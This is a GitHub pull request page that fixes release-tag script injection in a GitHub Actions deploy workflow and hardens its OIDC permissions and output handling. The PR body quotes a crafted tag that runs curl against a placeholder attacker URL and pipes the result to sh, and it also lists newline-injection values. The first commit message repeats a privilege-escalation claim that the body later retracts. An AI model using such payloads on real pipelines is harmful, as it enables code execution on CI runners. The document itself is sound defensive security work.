Skip to content

fix(ci): stop interpolating the release tag into a run block - #1657

Open
cristim wants to merge 2 commits into
mainfrom
sec/1649-release-tag-injection
Open

fix(ci): stop interpolating the release tag into a run block#1657
cristim wants to merge 2 commits into
mainfrom
sec/1649-release-tag-injection

Conversation

@cristim

@cristim cristim commented Jul 28, 2026

Copy link
Copy Markdown
Member

Closes #1649

Found during the #1542 / PR #1641 sweep of .github/workflows/. Verified live on current origin/main (887d51f) before changing anything.

The defect

# prepare — no environment: binding, inherits workflow-level id-token: write
- name: Set image tag
  id: set-tag
  run: |
    if [[ "${{ github.event_name }}" == "release" ]]; then
      echo "tag=${{ github.event.release.tag_name }}" >> $GITHUB_OUTPUT

GitHub substitutes ${{ github.event.release.tag_name }} into the shell source before bash parses it. git check-ref-format forbids spaces, ~, ^, :, ?, *, [, \ — but permits ;, $, `, (, ), &, |, <, >, !. So a tag like

v1.0.0;curl$IFS-s$IFS'https://attacker/x'|sh;

is a valid ref, and cutting a release on it is arbitrary code execution. $IFS defeats the no-spaces restriction.

Correction: the escalation I originally claimed is NOT reachable

The first version of this PR body claimed the chain: RCE in prepare → mint an OIDC token → assume cudly-terraform-deploy via repo:<org>/<repo>:ref:refs/heads/main. That does not connect, and the corrected impact is below.

The payload only executes on a release event, and on a release event GITHUB_REF is refs/tags/<tag> — so the ungated job's OIDC subject is repo:LeanerCloud/CUDly:ref:refs/tags/<tag>, which matches none of role.tf's four entries (ref:refs/heads/main plus environment:{dev,staging,prod}). Verified: the default subject template is in force (gh api repos/.../actions/oidc/customization/subuse_default: true), GCP pins assertion.ref == 'refs/heads/main', and Azure allows only main and pull_request.

What is actually reachable, and why this is still p0-shaped:

  • Arbitrary code execution on the runner in prepare, under that job's GITHUB_TOKEN.
  • Arbitrary keys written into $GITHUB_OUTPUTprepare's outputs are consumed by build-and-deploy and test-deployment, both of which hold id-token: write. Controlling what those two credentialed jobs read is the real prize, and it is what the guard in this PR now protects.

Honest caveat on severity: cutting a release already requires write access, and this repo's main is unprotected (gh api .../branches/main/protection → 404). A write-capable attacker could simply push to main and obtain the ref:refs/heads/main subject directly, with no injection needed. So the marginal capability this bug adds to an attacker who already has write access is small. It is still worth fixing — defence in depth, and the $GITHUB_OUTPUT path into credentialed jobs is real — but the original "escalates to the full production deploy role" framing was wrong and is retracted.

After

env:
  RELEASE_TAG: ${{ github.event.release.tag_name }}
run: |
  TAG="${RELEASE_TAG:-}"
  if [[ ! "$TAG" =~ ^[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}$ ]]; then ... exit 1; fi

The value never appears in the script's source text. It arrives as a process environment variable, and "$TAG" is a quoted parameter expansion — bash performs no further parsing on the result, so ;, $(...), backticks and newlines are inert data. The charset guard now runs against a shell variable rather than an already-expanded expression, so unlike the original image_tag guard it actually validates something.

The reviewer trap, fixed rather than commented

The job declared:

outputs:
  environment: ${{ steps.set-env.outputs.environment }}

That is an output named environment, not an environment: binding. It reads as gated at a glance and gates nothing — which is very likely why an ungated job holding id-token: write survived review. The apparent gating was cosmetic. A comment alone would not stop the next person making the same misreading, so the output is renamed to target_environment (11 consumer sites) and a note tells future readers not to rename it back.

Changes

  • Release tag, event name, commit SHA and inputs.environment moved into env:, referenced as quoted shell variables. No ${{ }} referencing inputs.* or github.event.* remains in any run: block.
  • Environment allowlisted to dev|staging|prod — the workflow_call input is a free-form string, unlike the workflow_dispatch choice, and was previously unchecked.
  • id-token: write dropped to job level, granted only to build-and-deploy and test-deployment (the two jobs that assume the deploy role, both environment-bound). prepare and summary authenticate to nothing and now hold contents: read.
  • The unquoted cat <<EOF > deployment-info.json heredoc in build-and-deploy replaced with jq -n --arg. The tag is charset-validated upstream, but that heredoc sits in a job holding id-token: write and would evaluate $(...) in any value reaching it — the same shape sec(ci): rollback.yml interpolates the free-text reason input into run blocks in a job holding id-token write #1542 called its worst case.
  • Function URL and the -var-file environment routed through env: for consistency.

Verification

check result
actionlint (shellcheck available), changed file exit 0 — 0 findings (32 before this PR)
new findings introduced 0
jobs holding id-token: write without environment: 0 (was 2)
${{ inputs.* }} / ${{ github.event.* }} inside any run: 0 (was 3)
stale needs.prepare.outputs.environment refs 0
pre-commit hooks passed

I am not claiming actionlint exit 0 here: this file was already failing on main and the residue is unquoted $GITHUB_STEP_SUMMARY redirect targets in jobs this PR does not touch. Fixing them would mix an unrelated cleanup into a p0 security change; they are tracked in #1646.

Correction: my original regression claim was false

The first version of this body said "git tag -l returns only four backup tags, all of which pass it, so nothing previously valid is now rejected." That was wrong, and I had not run it. Running the original guard against the repo's actual tags:

backup-1299-prerebase                    PASS
backup/leftover-lint-preRebase           FAIL   <- slash
backup/wt-mcp-design-presync-20260727    FAIL   <- slash
pr808-prerebase-backup                   PASS

Two of four fail, and so do release/1.0, v1.2.3+20260728 and v1.2.3+build.5. A release cut on a slash-namespaced tag — this repo's own existing convention — would have hard-failed prepare and blocked the entire production deploy. That is an availability regression I would have introduced while claiming I had checked for exactly that.

The guard is redesigned rather than merely widened. Filtering shell metacharacters was the wrong instinct: ;, $, backtick and | are already inert here, because the value arrives via env: and is only ever referenced quoted. The structural threat is a newline, because the tag is written to $GITHUB_OUTPUT as a single tag=<value> line, and a newline lets a crafted tag append attacker-chosen output keys — which the two credentialed downstream jobs consume. So the guard now rejects empty and control characters, and allows the rest of the git ref charset:

release/1.0                   ACCEPT      v1.0\ntag=evil               REJECT
v1.2.3+build.5                ACCEPT      v1.0\r\nfunction_url=...     REJECT
backup/leftover-lint-preRebase ACCEPT     v1.0\nEOF\nmalicious=1       REJECT
v1.0;id  /  v1.0$(id)         ACCEPT (inert as data, by design)

The guarded value is cosmetic today — image_tag reaches only deployment-info.json (via jq --arg) and the step summary; custom_image_tag is never wired from this workflow, and terraform/modules/build/main.tf:24 derives the real tag from the git commit. A comment at the guard says an OCI-grammar check belongs there if that ever changes.

act was not run; no dry run is claimed.

Important caveat — the environment: binding is not currently a gate

This fix leans on environment: to scope the OIDC subject. Worth stating plainly, because it also affects PR #1641:

$ gh api repos/LeanerCloud/CUDly/environments
aws-fargate-dev:     protection_rules=NONE
aws-fargate-staging: protection_rules=NONE
azure-:              protection_rules=NONE
dev:                 protection_rules=NONE
gcp-:                protection_rules=NONE

No Environment in this repo has any protection rules, and staging / prod do not exist at all. GitHub auto-creates a referenced Environment on first use with no rules. So environment: today only scopes secrets and changes the OIDC sub claim — it is not a reviewer gate until required reviewers are configured in repo settings. The comments in this PR say so rather than claiming a gate that does not exist. Tracked in #1648.

Two side observations from that output: the azure- and gcp- environments are the residue of an environment: name interpolating to empty, and the dev-only list is consistent with #1648's finding that the <cloud>-<env>-rollback names are absent from the trust policy.

Sibling workflows — same shape, no injectable value

A structural sweep (parsing each workflow's YAML for id-token inheritance vs environment: bindings, not grepping) found the ungated-prepare-with-inherited-id-token pattern in deploy-aws-fargate.yml, deploy-gcp.yml and deploy-azure.yml too. Those three are not exploitable today: the only untrusted value reaching their run: blocks is inputs.environment, which is choice-constrained on workflow_dispatch, and their workflow_call string input is fed only by deploy-all.yml, whose own input is also choice-constrained. deploy-aws-lambda.yml was the only one with an attacker-settable value (release.tag_name). Filed separately rather than bundled.

github.actor reaches run: blocks in all four deploy workflows; GitHub usernames are [A-Za-z0-9-], so those are not injectable and are noted only so a reader does not re-flag them.

Filed from this PR: #1659 (the sibling deploy/sanity workflows carry the same ungated-credentialed shape; deploy-gcp and deploy-azure are worse in that their build-and-deploy jobs actually authenticate while ungated — but none has an injectable value, so it is hardening, not a live exploit).

Post-review changes (commit be909c41d)

Three findings from the independent review, all addressed:

  • The tag guard rejected valid tags — corrected above; guard redesigned around the real threat.
  • summary still had six raw ${{ }} in its run: block, including image_tag, safe only because a guard in a different job had run. That makes the operative rule "raw interpolation is fine when someone upstream validated" — the same implicit-invariant species the target_environment rename exists to kill. All six now route through env:, so the file has one uniform rule: zero ${{ }} in any run: block.
  • Unquoted $GITHUB_OUTPUT redirect targets in two steps, quoted — same output-integrity concern as the rest of the PR. This is what took actionlint to exit 0.

Also filed from this review: #1665deploy-all.yml declares no permissions: on its caller jobs, so a called deploy workflow likely cannot obtain an OIDC token at all. Pre-existing and identical before and after this PR (permission intersection with the caller caps both the old workflow-level and the new job-level form equally), so it is not a bisect target for this change.

`deploy-aws-lambda.yml` pasted `${{ github.event.release.tag_name }}`
straight into the shell source of the `prepare` job. A git ref name may
contain `;`, `$`, backtick, `(`, `)` and `|` — it only forbids spaces,
which `$IFS` works around — so cutting a release on a crafted tag was
arbitrary code execution.

`prepare` had no `environment:` binding yet inherited workflow-level
`id-token: write`. Since the AWS trust policy accepts the subject
`repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code there could mint an OIDC token
and assume the full production deploy role.

The job looked gated because it declared `outputs: environment:` — an
output *named* environment, not an `environment:` binding. That shape
reads as a gate at a glance while gating nothing, so the output is
renamed rather than merely commented.

Changes:

- Pass the release tag, event name, commit SHA and `inputs.environment`
  through `env:` and reference the quoted shell variables. No `${{ }}`
  referencing `inputs.*` or `github.event.*` remains in any `run:` block.
- Constrain the tag to the OCI tag grammar, checked against a shell
  variable rather than an already-expanded expression, so unlike the
  original guard it actually validates something.
- Allowlist the resolved environment to dev|staging|prod. The
  `workflow_call` input is a free-form string, unlike the
  `workflow_dispatch` `choice`, so it was previously unchecked.
- Drop `id-token: write` to job level, granting it only to
  `build-and-deploy` and `test-deployment` — the two jobs that assume the
  deploy role, both of which are bound to an environment. `prepare` and
  `summary` authenticate to nothing and now hold `contents: read`.
- Rename the `environment` output to `target_environment` (11 consumers)
  so it cannot be misread as a binding.
- Replace the unquoted `cat <<EOF > deployment-info.json` heredoc with
  `jq -n --arg`. The tag is charset-validated upstream, but that heredoc
  sits in a job holding `id-token: write` and would evaluate `$(...)` in
  any value reaching it.
- Route the function URL and the `-var-file` environment through `env:`
  for consistency with the rest of the file.

Verified with `actionlint` (shellcheck available): no new findings, and
the six the rewritten `prepare` job used to produce are gone (SC2086
28 -> 22). The 26 that remain are pre-existing, sit outside the changed
hunks, and are tracked in #1646.

Closes #1649
@coderabbitai

coderabbitai Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor

Warning

Review limit reached

You’ve reached a temporary PR review limit under our Fair Usage Limits Policy.

Your recent review volume is higher than typical usage, so adaptive limits are currently applied.

Next review available in: 30 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 8a701e66-f972-4640-b3b0-84582732eaf7

📥 Commits

Reviewing files that changed from the base of the PR and between 887d51f and be909c4.

📒 Files selected for processing (1)
  • .github/workflows/deploy-aws-lambda.yml
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch sec/1649-release-tag-injection

Comment @coderabbitai help to get the list of available commands.

@cristim cristim added effort/s Hours impact/all-users Affects every user priority/p0 Drop everything; same-day fix severity/critical Major harm when it happens triaged Item has been triaged type/security Security finding urgency/now Drop other things labels Jul 28, 2026
@cristim

cristim commented Jul 28, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai review

@coderabbitai

coderabbitai Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor
✅ Action performed

Review finished.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

Addresses three findings from the independent review of this PR.

The tag guard rejected valid tags. `^[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}$`
excludes `/` and `+`, so two of this repo's four existing tags fail it,
as do `release/1.0` and `v1.2.3+build.5`. A release cut on a
slash-namespaced tag would have hard-failed `prepare` and blocked the
whole production deploy.

Filtering shell metacharacters was the wrong instinct anyway: they are
already inert, because the value arrives via `env:` and is only ever
referenced quoted. The structural threat is a NEWLINE, since the tag is
written to `$GITHUB_OUTPUT` as a single `tag=<value>` line and a newline
would append attacker-chosen output keys that the two credentialed
downstream jobs then consume. So the guard now rejects empty and control
characters and allows the rest of the git ref charset, with a note that
an OCI-grammar check belongs here if the value is ever wired to
Terraform's `custom_image_tag` (it is not today — the real image tag is
derived from the git commit inside the build module).

`summary` still interpolated six expressions directly into its `run:`
block, including `needs.prepare.outputs.image_tag`, whose origin is the
release tag and which was safe only because a guard in a *different* job
had run. That makes the operative rule "raw interpolation is fine when
someone upstream validated", an implicit invariant that breaks silently
the moment the upstream guard moves. All six now go through `env:`, so
the file has one uniform rule: no `${{ }}` in any `run:` block.

Also quote the `$GITHUB_OUTPUT` redirect targets in the two steps that
still wrote to them unquoted, which is the same output-integrity concern
this PR is about.

actionlint (with shellcheck) now reports **0** findings on this file,
down from 32 before the PR and 26 at the previous commit.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

effort/s Hours impact/all-users Affects every user priority/p0 Drop everything; same-day fix severity/critical Major harm when it happens triaged Item has been triaged type/security Security finding urgency/now Drop other things

Projects

None yet

Development

Successfully merging this pull request may close these issues.

sec(ci): deploy-aws-lambda.yml interpolates a release tag name into a run block in an ungated job holding id-token write

1 participant